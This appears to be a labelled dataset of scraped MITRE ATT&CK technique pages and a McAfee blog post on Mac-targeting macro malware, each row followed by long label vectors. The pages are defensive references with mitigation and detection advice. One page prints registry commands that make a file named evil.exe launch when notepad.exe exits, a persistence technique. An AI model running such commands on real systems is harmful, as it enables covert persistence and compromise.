References","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"AppleScript - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise AppleScript AppleScript macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.AppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. Adversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python [1]. Scripts can be run from the command-line via osascript /path/to/script or osascript -e ""script here"". ID:\xc2 T1155 Tactic: Execution, Lateral Movement Platform:\xc2 macOS Permissions Required:\xc2 User Data Sources:\xc2 API monitoring, System calls, Process monitoring, Process command-line parameters Supports Remote:\xc2 Yes Version:\xc2 1.0 Mitigations Mitigation Description Code Signing Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing. This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper. [2] Examples Name Description Dok Dok uses AppleScript to create a login item for persistence. [3] Detection Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system. References Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017. Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018. Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Home / Other Blogs / McAfee Labs / Macro Malware Targets Macs Macro Malware Targets Macs By Yerko Grbic on Feb 14, 2017 Macro malware has been spreading for years. New techniques arise all the time to hide malicious code and thus increase the difficulty of analysis. However, just targeting Microsoft Windows no longer seems to be enough for the malware authors. The Mac appears to be the new challenge, and attackers appear to be rising to this challenge. In previous versions of macro threats, the malicious code was hidden in user forms and macros in Microsoft Office files. (See Macro Malware Associated With Dridex Finds New Ways to Hide.) The latest member of this family seems to have learned a new trick or two, as we now will see. The malicious code is now hidden in the properties of Excel worksheet files: A malicious Excel file ready to be executed. When the file is opened we see this message. If we access the file\xe2\x80\x99s properties, we can read the Powershell script code. The full content in Properties. Location of hidden content. An extract of the Powershell content. The malicious code runs Powershell, which downloads malware after the victim enables macros. The macro searches for the hidden code in Properties and runs it using Powershell, but this works only on Windows systems. How does the malicious code execute on the Mac? The malware developers use MacScript: The macro code verifies whether WScript.Shell is present. In case of an error, the code executes the module macshell: This script runs the code on the Mac. The script runs with the same permissions as Microsoft Office. As we ran this analysis, the control server contacted by this malware sample was not running; so we were unable obtain the payload. The MD5 hash for the samples we found: 952A36F4231C8628ACEA028B4145DAEC Full descriptions of the W97M and X97M malware families are available in our Threat Advisories: W97M/Downloader and X97M/Downloader Threat Advisory During our analysis, the malware attempted contacted the following server (with URL modified for safety): hxxp://ndur0.net McAfee advises users to keep their antimalware signatures up to date at all times. McAfee products detect this malicious Office Trojan as X97M/Downloader.bf. Previous ArticleNext Article Categories: McAfee Labs Tags: Apple, computer security, cybercrime, cybersecurity, malware Leave a reply Facebook CommentsComments (0) Similar articles Solving the Gamer\xe2\x80\x99s Dilemma: Security vs. Performance By McAfee on Sep 17, 2019 Are Cash Transfer Apps Safe to Use? Here\xe2\x80\x99s What Your Family Needs to Know By Toni Birdsong on Sep 14, 2019 Millions of Car Buyer Records Exposed: How to Bring This Breach to a Halt By Gary Davis on Sep 12, 2019 Subscribe to McAfee Securing Tomorrow Blogs Email Address Email address Corporate Headquarters 2821 Mission Colledge Blvd. Santa Clara, CA 9505 USA Business Cloud Security Endpoint Security Security Operations Data Security Consumer Hackable? Podcast Consumer Threat Notices Family Safety Identity Protection Mobile and IoT Security Other Blogs Podcast McAfee Labs Executive Perspectives Life at McAfee McAfee Partners Languages Italia \xe4\xb8\xad\xe5\x9b\xbd Espa\xc3\xb1ol Fran\xc3\xa7ais German Portugu\xc3\xaas \xe0\xb9\x84\xe0\xb8\x97\xe0\xb8\xa2 Copyright \xc2\xa9 2019 McAfee, LLC","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Browser Bookmark Discovery - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Browser Bookmark Discovery Browser Bookmark Discovery Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially Credentials in Files associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases. ID:\xc2 T1217 Tactic: Discovery Platform:\xc2 Linux, Windows, macOS Permissions Required:\xc2 User Data Sources:\xc2 API monitoring, File monitoring, Process command-line parameters, Process monitoring Contributors:\xc2 Mike Kemmerer Version:\xc2 1.0 Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Examples Name Description Calisto Calisto collects information on bookmarks from Google Chrome. [2] Empire Empire has the ability to gather browser data such as bookmarks and visited sites. [1] MobileOrder MobileOrder has a command to upload to its C2 server victim browser bookmarks. [3] Detection Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as Windows Management Instrumentation and PowerShell. System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. References Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016. Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018. Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Image File Execution Options Injection - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Image File Execution Options Injection Image File Execution Options Injection Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\xe2\x80\x99s IFEO will be prepended to the application\xe2\x80\x99s name, effectively launching the new process under the debugger (e.g., ""C:\\dbg\\ntsd.exe -g notepad.exe""). [1] IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. [2] IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{{\\Wow6432Node}}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. [1] IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). [3] [4] Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. [3] [4] An example where the evil.exe process is started when notepad.exe exits: [4] reg add ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe"" /v GlobalFlag /t REG_DWORD /d 512 reg add ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe"" /v ReportingMode /t REG_DWORD /d 1 reg add ""HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe"" /v MonitorProcess /d ""C:\\temp\\evil.exe"" Similar to Process Injection, these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. [5] Installing IFEO mechanisms may also provide Persistence via continuous invocation. Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. [6] [7] ID:\xc2 T1183 Tactic: Privilege Escalation, Persistence, Defense Evasion Platform:\xc2 Windows Permissions Required:\xc2 Administrator, SYSTEM Data Sources:\xc2 Process monitoring, Windows Registry, Windows event logs Defense Bypassed:\xc2 Autoruns Analysis Contributors:\xc2 Oddvar Moe, @oddvarmoe Version:\xc2 1.0 Mitigations This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features. Examples Name Description TEMP.Veles TEMP.Veles has modified and added entries within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options to maintain persistence. [8] Detection Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. [1] Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. [5] References Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017. Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017. Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018. Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 